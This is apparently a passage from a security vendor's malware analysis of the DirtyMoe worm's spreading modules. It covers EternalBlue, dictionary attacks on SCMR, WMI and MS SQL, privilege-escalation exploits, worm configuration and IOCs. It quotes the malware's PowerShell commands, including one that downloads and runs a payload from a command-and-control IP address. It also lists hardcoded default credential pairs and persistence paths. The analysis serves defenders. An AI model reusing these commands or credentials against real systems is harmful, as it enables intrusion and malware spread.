The worming module focuses on the Windows version from Windows XP to Windows 8. We have identified that the EternalBlue implementation is the same as described in exploit-db [3], and an effective payload including the @[email protected] command is identical to DoublePulsar [4]. Interestingly, the whole EternalBlue payload is hardcoded for each Windows architecture, although the payload can be composed for each platform separately.

5.2 Service Control Manager Remote Protocol

No known vulnerability is used in the case of Service Control Manager Remote Protocol (SCMR) [5]. The worming module attacks SCMR through a dictionary attack. The first phase is to guess an administrator password. The details of the dictionary attack are described in Section 6.4.

If the dictionary attack is successful and the module guesses the password, a new Windows service is created and started remotely via RPC over the SMB service. Figure 5 illustrates the network communication of the attack. Binding to the SCMR is identified using UUID {367ABB81-9844-35F1-AD32- 98F038001003}. On the server-side, the worming module as a client writes commands to the \PIPE\svcctl pipe. The first batch of commands creates a new service and registers a command with the malicious @[email protected] payload. The new service is started and is then deleted to attempt to cover its tracks.

The Microsoft HTML Application Host (mshta.exe) is used as a LOLbin to execute and create ShellWindows and run @[email protected]. The advantage of this proxy execution is that mshta.exe is typically marked as trusted; some defenders may not detect this misuse of mshta.exe.

Windows Event records these suspicious events in the System log, as shown in Figure 6. The service name is in the form AC<number>, and the number is incremented for each successful attack. It is also worth noting that ImagePath contains the @[email protected] command sent to SCMR in BinaryPathName, see Figure 5.

5.3 Windows Management Instrumentation

The second method that does not misuse any known vulnerability is a dictionary attack to Windows Management Instrumentation (WMI). The workflow is similar to the SCMR attack. Firstly, the worming module must also guess the password of a victim administrator account. The details of the dictionary attack are described in Section 6.4.

The attackers can use WMI to manage and access data and resources on remote computers [6]. If they have an account with administrator privileges, full access to all system resources is available remotely.

The malicious misuse lies in the creation of a new process that runs @[email protected] via a WMI script; see Figure 7. DirtyMoe is then installed in the following six steps:

1. Initialize the COM library.
2. Connect to the default namespace root/cimv2 containing the WMI classes for management.
3. The Win32_Process class is created, and @[email protected] is set up as a command-line argument.
4. Win32_ProcessStartup represents the startup configuration of the new process. The worming module sets a process window to a hidden state, so the execution is complete silently.
5. The new process is started, and the DirtyMoe installer is run.
6. Finally, the WMI script is finished, and the COM library is cleaned up.

5.4 Microsoft SQL Server

Attacks on Microsoft SQL Servers are the second most widespread attack in terms of worming modules. Targeted MS SQL Servers are 2000, 2005, 2008, 2012, 2014, 2016, 2017, 2019.

The worming module also does not abuse any vulnerability related to MS SQL. However, it uses a combination of the dictionary attack and MS15-076: “RCE Allow Elevation of Privilege” known as “Hot Potato Windows Privilege Escalation”. Additionally, the malware authors utilize the MS15-076 implementation known as Tater, the PowerSploit function Invoke-ReflectivePEInjection, and CVE-2019-1458: “WizardOpium Local Privilege Escalation” exploit.

The first stage of the MS SQL attack is to guess the password of an attacked MS SQL server. The first batch of username/password pairs is hardcoded. The malware authors have collected the hardcoded credentials from publicly available sources. It contains fifteen default passwords for a few databases and systems like Nette Database, Oracle, Firebird, Kingdee KIS, etc. The complete hardcoded credentials are as follows: 401hk/[email protected]_, admin/admin, bizbox/bizbox, bwsa/bw99588399, hbv7/[email protected], kisadmin/ypbwkfyjhyhgzj, neterp/neterp, ps/740316, root/root, sp/sp, su/[email protected]_, sysdba/masterkey, uep/U_tywg_2008, unierp/unierp, vice/vice.

If the first batch is not successful, the worming module attacks using the hardcoded dictionary. The detailed workflow of the dictionary attack is described in Section 6.4.

If the module successfully guesses the username/password of the attacked MS SQL server, the module executes corresponding payloads based on the Transact-SQL procedures. There are five methods launched one after another.

1. sp_start_job
   The module creates, schedules, and immediately runs a task with Payload 1.
2. sp_makewebtask
   The module creates a task that produces an HTML document containing Payload 2.
3. sp_OAMethod
   The module creates an OLE object using the VBScript “WScript.Shell“ and runs Payload 3.
4. xp_cmdshell
   This method spawns a Windows command shell and passes in a string for execution represented by Payload 3.
5. Run-time Environment
   Payload 4 is executed as a .NET assembly.

In brief, there are four payloads used for the DirtyMoe installation. The SQL worming module defines a placeholder @[email protected] representing a full URL to the MSI installation package located in the C&C server. If any of the payloads successfully performed a privilege escalation, the DirtyMoe installation is silently launched via MSI installer; see our DirtyMoe Deployment blog post for more details.

Payload 1

The first payload tries to run the following PowerShell command:
powershell -nop -exec bypass -c "IEX $decoded; MsiMake @[email protected];"
where $decoded contains the MsiMake functions, as is illustrated in Figure 8. The function calls MsiInstallProduct function from msi.dll as a completely silent installation (INSTALLUILEVEL_NONE) but only if the MS SQL server runs under administrator privileges.

Payload 2

The second payload is used only for sp_makewebtask execution; the payload is written to the following autostart folders:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.hta
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\1.hta

Figure 9 illustrates the content of the 1.hta file camouflaged as an HTML file. It is evident that DirtyMoe may be installed on each Windows startup.

Payload 3

The last payload is more sophisticated since it targets the vulnerabilities and exploits mentioned above. Firstly, the worming module prepares a @[email protected] placeholder containing a full URL to the DirtyMoe object that is the adapted version of the Tater PowerShell script.

The first stage of the payload is a powershell command:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(''@[email protected]''); MsiMake @[email protected]"

The adapted Tater script implements the extended MsiMake function. The script attempts to install DirtyMoe using three different ways:

1. Install DirtyMoe via the MsiMake implementation captured in Figure 8.
2. Attempt to exploit the system using Invoke-ReflectivePEInjection with the following arguments:
   Invoke-ReflectivePEInjection -PEBytes $Bytes -ExeArgs [email protected]@ -ForceASLR
   where $Bytes is the implementation of CVE-2019-1458 that is included in the script.
3. The last way is installation via the Tater command:
   Invoke-Tater -Command [email protected]@

The example of Payload 3 is:
powershell -nop -exec bypass -c "IEX (New-ObjectNet. WebClient).DownloadString(
'http://108.61.184.105:20114/57BC9B7E.Png'); MsiMake http://108.61.184.105:20114/0CFA042F.Png

Payload 4

The attackers use .NET to provide a run-time environment that executes an arbitrary command under the MS SQL environment. The worming module defines a new assembly .NET procedure using Common Language Runtime (CLR), as Figure 10 demonstrates.

The .NET code of Payload 4 is a simple class defining a SQL procedure ExecCommand that runs a malicious command using the Process class; shown in Figure 11.

5.5 Development Module

We have discovered one worming module containing artifacts that indicate that the module is in development. This module does not appear to be widespread in the wild, and it may give insight into the malware authors’ future intentions. The module contains many hard-coded sections in different states of development; some sections do not hint at the @[email protected] execution.

PHP

CVE:2019-9082: ThinkPHP - Multiple PHP Injection RCEs.

The module uses the exact implementation published at [7]; see Figure 12. In short, a CGI script that verifies the ability of call_user_func_array is sent. If the verification is passed, the CGI script is re-sent with @[email protected].

Deserialization

CVE:2018-0147: Deserialization Vulnerability

The current module implementation executes a malicious Java class [8], shown in Figure 13, on an attacked server. The RunCheckConfig class is an executioner for accepted connections that include a malicious serializable object.

The module prepares the serializable object illustrated in Figure 14 that the RunCheckConfig class runs when the server accepts this object through the HTTP POST method.

The implementation that delivers the RunCheckConfig class into the attacked server abused the same vulnerability. It prepares a serializable object executing ObjectOutputStream, which writes the RunCheckConfig class into c:/windows/tmp. However, this implementation is not included in this module, so we assume that this module is still in development.

Oracle Weblogic Server

CVE:2019-2725: Oracle Weblogic Server - 'AsyncResponseService' Deserialization RCE

The module again exploits vulnerabilities published at [9] to send malicious SOAP payloads without any authentication to the Oracle Weblogic Server T3 interface, followed by sending additional SOAP payloads to the WLS AsyncResponseService interface.

SOAP
The SOAP request defines the WorkContext as java.lang.Runtime with three arguments. The first argument defines which executable should be run. The following arguments determine parameters for the executable. An example of the WorkContext is shown in Figure 15.

Hardcoded SOAP commands are not related to @[email protected]; we assume that this implementation is also in development.

6. Worming Module Execution

The worming module is managed by the DirtyMoe service, which controls its configuration, initialization, and worming execution. This section describes the lifecycle of the worming module.

6.1 Configuration

The DirtyMoe service contacts one of the C&C servers and downloads an appropriate worming module into a Shim Database (SDB) file located at %windir%\apppatch\TK<volume-id>MS.sdb. The worming module is then decrypted and injected into a new svchost.exe process, as Figure 2 illustrates.

The encrypted module is a PE executable that contains additional placeholders. The DirtyMoe service passes configuration parameters to the module via these placeholders. This approach is identical to other DirtyMoe modules; however, some of the placeholders are not used in the case of the worming module.

The placeholders overview is as follows:

• @[email protected]: N/A in worming module
• @[email protected]: N/A in worming module
• @[email protected]: Mutex created by the worming module that is controlled by the DirtyMoe service
• @[email protected]: ID of DirtyMoe instance registered in C&C
• @[email protected]: Type of worming module, e.g, ScanSmbHs5
• @[email protected]: Worming module configuration

6.2 Initialization

When the worming module, represented by the new process, is injected and resumed by the DirtyMoe service, the module initialization is invoked. Firstly, the module unpacks a word dictionary containing passwords for a dictionary attack. The dictionary consists of 100,000 commonly used passwords compressed using LZMA. Secondly, internal structures are established as follows:

IP Address Backlog
The module stores discovered IP addresses with open ports of interest. It saves the IP address and the timestamp of the last port check.

Dayspan and Hourspan Lists
These lists manage IP addresses and their insertion timestamps used for the dictionary attack. The IP addresses are picked up based on a threshold value defined in the configuration. The IP will be processed if the IP address timestamp surpasses the threshold value of the day or hour span. If, for example, the threshold is set to 1, then if a day/hour span of the current date and a timestamp is greater than 1, a corresponding IP will be processed. The Dayspan list registers IPs generated by Class B from IP Table, Fully Random IP, and Derived Classes A methods; in other words, IPs that are further away from the worming module location. On the other hand, the Hourspan list records IPs located closer.

Thirdly, the module reads its configuration described by the @[email protected] placeholder. The configuration matches this pattern: <IP>|<PNG_ID>|<timeout>|[SMB:HX:PX1.X2.X3:AX:RX:BX:CX:DX:NX:SMB]

• IP is the number representing the machine IP from which the attack will be carried out. The IP is input for the methods generating IPs; see Section 4. If the IP is not available, the default address 98.126.89.1 is used.
• PNG_ID is the number used to derive the hash-name that mirrors the DirtyMoe object name (MSI installer package) stored at C&C. The hashname is generated using MS_RPC_<n> string where n is PNG_ID; see Section 3.
• Timeout is the default timeout for connections to the attacked services in seconds.
• HX is a threshold for comparing IP timestamps stored in the Dayspan and Hourspan lists. The comparison ascertains whether an IP address will be processed if the timestamp of the IP address exceeds the day/hour threshold.
• P is the flag for the dictionary attack.
  • X1 number determines how many initial passwords will be used from the password dictionary to increase the probability of success – the dictionary contains the most used passwords at the beginning.
  • X2 number is used for the second stage of the dictionary attack if the first X1 passwords are unsuccessful. Then the worming module tries to select X2 passwords from the dictionary randomly.
  • X3 number defines how many threads will process the Dayspan and Hourspan lists; more precisely, how many threads will attack the registered IP addresses in the Dayspan/Hourspan lists.
• AX: how many threads will generate IP addresses using Class B from IP Table methods.
• RX: how many threads for the Fully Random IP method.
• BX, CX, DX: how many threads for the Derived Classes A, B, C methods.
• NX defines a thread quantity for the Derived Local IPs method.

The typical configuration can be 217.xxx.xxx.xxx|5|2|[SMB:H1:P1.30.3:A10:R3:B3:C3:D1:N3:SMB]

Finally, the worming module starts all threads defined by the configuration, and the worming process and attacks are started.

6.3 Worming

The worming process has five phases run, more or less, in parallel. Figure 16 has an animation of the worming process.

Phase 1

The worming module usually starts 23 threads generating IP addresses based on Section 4. The IP addresses are classified into two groups: day-span and hour-span.

Phase 2

The second phase runs in parallel with the first; its goal is to test generated IPs. Each specific module targets defined ports ​that are verified via sending a zero-length transport datagram. If the port is active and ready to receive data, the IP address of the active port is added to IP Address Backlog. Additionally, the SMB worming module immediately tries the EternalBlue attack within the port scan.

Phase 3

The IP addresses verified in Phase 2 are also registered into the Dayspan and Hourspan lists. The module keeps only 100 items (IP addresses), and the lists are implemented as a queue. Therefore, some IPs can be removed from these lists if the IP address generation is too fast or the dictionary attacks are too slow. However, the removed addresses are still present in the IP Address Backlog.

Phase 4

The threads created based on the X3 configuration parameters process and manage the items (IPs) of Dayspan and Hourspan lists. Each thread picks up an item from the corresponding list, and if the defined day/hour threshold (HX parameter) is exceeded, the module starts the dictionary attack to the picked-up IP address.

Phase 5

Each generated and verified IP is associated with a timestamp of creation. The last phase is activated if the previous timestamp is older than 10 minutes, i.e., if the IP generation is suspended for any reason and no new IPs come in 10 minutes. Then one dedicated thread extracts IPs from the backlog and processes these IPs from the beginning; These IPs are processed as per Phase 2, and the whole worming process continues.

6.4 Dictionary Attack

The dictionary attack targets two administrator user names, namely administrator for SMB services and sa for MS SQL servers. If the attack is successful, the worming module infiltrates a targeted system utilizing an attack series composed of techniques described in Section 5:

• Service Control Manager Remote Protocol (SCMR)
• Windows Management Instrumentation (WMI)
• Microsoft SQL Server (SQL)

The first attack attempt is sent with an empty password. The module then addresses three states based on the attack response as follows:

• No connection: the connection was not established, although a targeted port is open – a targeted service is not available on this port.
• Unsuccessful: the targeted service/system is available, but authentication failed due to an incorrect username or password.
• Success: the targeted service/system uses the empty password.

Administrator account has an empty password 

If the administrator account is not protected, the whole worming process occurs quickly (this is the best possible outcome from the attacker’s point of view). The worming module then proceeds to infiltrate the targeted system with the attack series (SCMR, WMI, SQL) by sending the empty password.

Bad username or authentication information

A more complex situation occurs if the targeted services are active, and it is necessary to attack the system by applying the password dictionary.

Cleverly, the module stores all previously successful passwords in the system registry; the first phase of the dictionary attack iterates through all stored passwords and uses these to attack the targeted system. Then, the attack series (SCMR, WMI, SQL) is started if the password is successfully guessed.

The second phase occurs if the stored registry passwords yield no success. The module then attempts authentication using a defined number of initial passwords from the password dictionary. This number is specified by the X1 configuration parameters (usually X1*100). If this phase is successful, the guessed password is stored in the system registry, and the attack series is initiated.

The final phase follows if the second phase is not successful. The module randomly chooses a password from a dictionary subset X2*100 times. The subset is defined as the original dictionary minus the first X1*100 items. In case of success, the attack series is invoked, and the password is added to the system registry.

Successfully used passwords are stored encrypted, in the following system registry location:
HKEY_LOCAL_MACHINE\Software\Microsoft\DirectPlay8\Direct3D\RegRunInfo-BarkIPsInfo

7. Summary and Discussion

Modules

We have detected three versions of the DirtyMoe worming module in use. Two versions specifically focus on the SMB service and MS SQL servers. However, the third contains several artifacts implying other attack vectors targeting PHP, Java Deserialization, and Oracle Weblogic Server. We continue to monitor and track these activities.

Attacked Machines

One interesting finding is an attack adaptation based on the geological location of the worming module. Methods described in Section 4 try to distribute the generated IP addresses evenly to cover the largest possible radius. This is achieved using the IP address of the worming module itself since half of the threads generating the victim’s IPs are based on the module IP address. Otherwise, if the IP is not available for some reason, the IP address 98.126.89.1 located in Los Angeles is used as the base address.

We performed a few VPN experiments for the following locations: the United States, Russian Federation, Czech Republic, and Taiwan. The results are animated in Figure 17; Table 1 records the attack distributions for each tested VPN.

VPN	Attack Distribution	Top countries
United States	North America (59%) Europe (21%) Asia (16%)	United States
Russian Federation	North America (41%) Europe (33%) Asia (20%)	United States, Iran, United Kingdom, France, Russian Federation
Czech Republic	Europe (56%) Asia (14%) South America (11%)	China, Brazil, Egypt, United States, Germany
Taiwan	North America (47%) Europe (22%) Asia (18%)	United States, United Kingdom, Japan, Brazil, Turkey

LAN

Perhaps the most striking discovery was the observed lateral movement in local networks. The module keeps all successfully guessed passwords in the system registry; these saved passwords increase the probability of password guessing in local networks, particularly in home and small business networks. Therefore, if machines in a local network use the same weak passwords that can be easily assessed, the module can quickly infiltrate the local network.

Exploits

All abused exploits are from publicly available resources. We have identified six main vulnerabilities summarized in Table 2. The worming module adopts the exact implementation of EternalBlue, ThinkPHP, and Oracle Weblogic Server exploits from exploit-db. In the same way, the module applies and modifies implementations of DoublePulsar, Tater, and PowerSploit frameworks.

ID	Description
CVE:2019-9082	ThinkPHP – Multiple PHP Injection RCEs
CVE:2019-2725	Oracle Weblogic Server – ‘AsyncResponseService’ Deserialization RCE
CVE:2019-1458	WizardOpium Local Privilege Escalation
CVE:2018-0147	Deserialization Vulnerability
CVE:2017-0144	EternalBlue SMB Remote Code Execution (MS17-010)
MS15-076	RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)

C&C Servers

The C&C servers determine which module will be deployed on a victim machine. The mechanism of the worming module selection depends on client information additionally sent to the C&C servers. However, details of how this module selection works remain to be discovered.

Password Dictionary

The password dictionary is a collection of the most commonly used passwords obtained from the internet. The dictionary size is 100,000 words and numbers across several topics and languages. There are several language mutations for the top world languages, e.g., English, Spanish, Portuguese, German, French, etc. (passwort, heslo, haslo, lozinka, parool, wachtwoord, jelszo, contrasena, motdepasse). Other topics are cars (volkswagen, fiat, hyundai, bugatti, ford) and art (davinci, vermeer, munch, michelangelo, vangogh). The dictionary also includes dirty words and some curious names of historical personalities like hitler, stalin, lenin, hussein, churchill, putin, etc.

The dictionary is used for SCMR, WMI, and SQL attacks. However, the SQL module hard-codes another 15 pairs of usernames/passwords also collected from the internet. The SQL passwords usually are default passwords of the most well-known systems.

Worming Workflow

The modules also implement a technique for repeated attacks on machines with ‘live’ targeted ports, even when the first attack was unsuccessful. The attacks can be scheduled hourly or daily based on the worm configuration. This approach can prevent a firewall from blocking an attacking machine and reduce the risk of detection.

Another essential attribute is the closing of TCP port 445 port following a successful exploit of a targeted system. This way, compromised machines are “protected” from other malware that abuse the same vulnerabilities. The MSI installer also includes a mechanism to prevent overwriting DirtyMoe by itself so that the configuration and already downloaded modules are preserved.

IP Generation Performance

The primary key to this worm’s success is the performance of the IP generator. We have used empirical measurement to determine the performance of the worming module. This measurement indicates that one module instance can generate and attack 1,500 IPs per second on average. However, one of the tested instances could generate up to 6,000 IPs/sec, so one instance can try two million IPs per day.

The evidence suggests that approximately 1,900 instances can generate the whole IPv4 range in one day; our detections estimate more than 7,000 active instances exist in the wild. In theory, the effect is that DirtyMoe can generate and potentially target the entire IPv4 range three times a day.

8. Conclusion

The primary goal of this research was to analyze one of the DirtyMoe module groups, which provides the spreading of the DirtyMoe malware using worming techniques. The second aim of this study was to investigate the effects of worming and investigate which exploits are in use. 

In most cases, DirtyMoe is deployed using external exploit kits like PurpleFox or injected installers of Telegram Messenger that require user interaction to successful infiltration. Importantly, worming is controlled by C&C and executed by active DirtyMoe instances, so user interaction is not required.

Worming target IPs are generated utilizing the cleverly designed algorithm that evenly generates IP addresses across the world and in relation to the geological location of the worming module. Moreover, the module targets local/home networks. Because of this, public IPs and even private networks behind firewalls are at risk.

Victims’ active machines are attacked using EternalBlue exploits and dictionary attacks aimed at SCMR, WMI, and MS SQL services with weak passwords. Additionally, we have detected a total of six vulnerabilities abused by the worming module that implement publicly disclosed exploits.

We also discovered one worming module in development containing other vulnerability exploit implementations – it did not appear to be fully armed for deployment. However, there is a chance that tested exploits are already implemented and are spreading in the wild. 

Based on the amount of active DirtyMoe instances, it can be argued that worming can threaten hundreds of thousands of computers per day. Furthermore, new vulnerabilities, such as Log4j, provide a tremendous and powerful opportunity to implement a new worming module. With this in mind, our researchers continue to monitor the worming activities and hunt for other worming modules.

IOCs

CVE-2019-1458: “WizardOpium’ Local Privilege Escalation
fef7b5df28973ecf8e8ceffa8777498a36f3a7ca1b4720b23d0df18c53628c40

SMB worming modules
f78b7b0faf819328f72a7181ed8cc52890fedcd9bf612700d7b398f1b9d77ab6
dc1dd648287bb526f11ebacf31edd06089f50c551f7724b98183b10ab339fe2b

SQL worming modules
df8f37cb2f20ebd8f22e866ee0e25be7d3731e4d2af210f127018e2267c73065
b3e8497a4cf00489632e54e2512c05d9c80288c2164019d53615dd53c0977fa7

Worming modules in development
36e0e1e4746d0db1f52aff101a103ecfb0414c8c04844521867ef83466c75340

References

[1] Malicious Telegram Installer Drops Purple Fox Rootkit
[2] Purple Fox Rootkit Now Propagates as a Worm
[3] Exploit-db: ‘EternalBlue’ SMB Remote Code Execution (MS17-010)
[4] Threat Spotlight: The Shadow Brokers and EternalPulsar Malware
[5] Service Control Manager Remote Protocol
[6] Windows Management Instrumentation
[7] Exploit-db: ThinkPHP – Multiple PHP Injection RCEs (Metasploit)
[8] Exploit-db: Deserialization Vulnerability
[9] Exploit-db: ‘AsyncResponseService’ Deserialization RCE (Metasploit)

The post DirtyMoe: Worming Modules appeared first on Avast Threat Labs.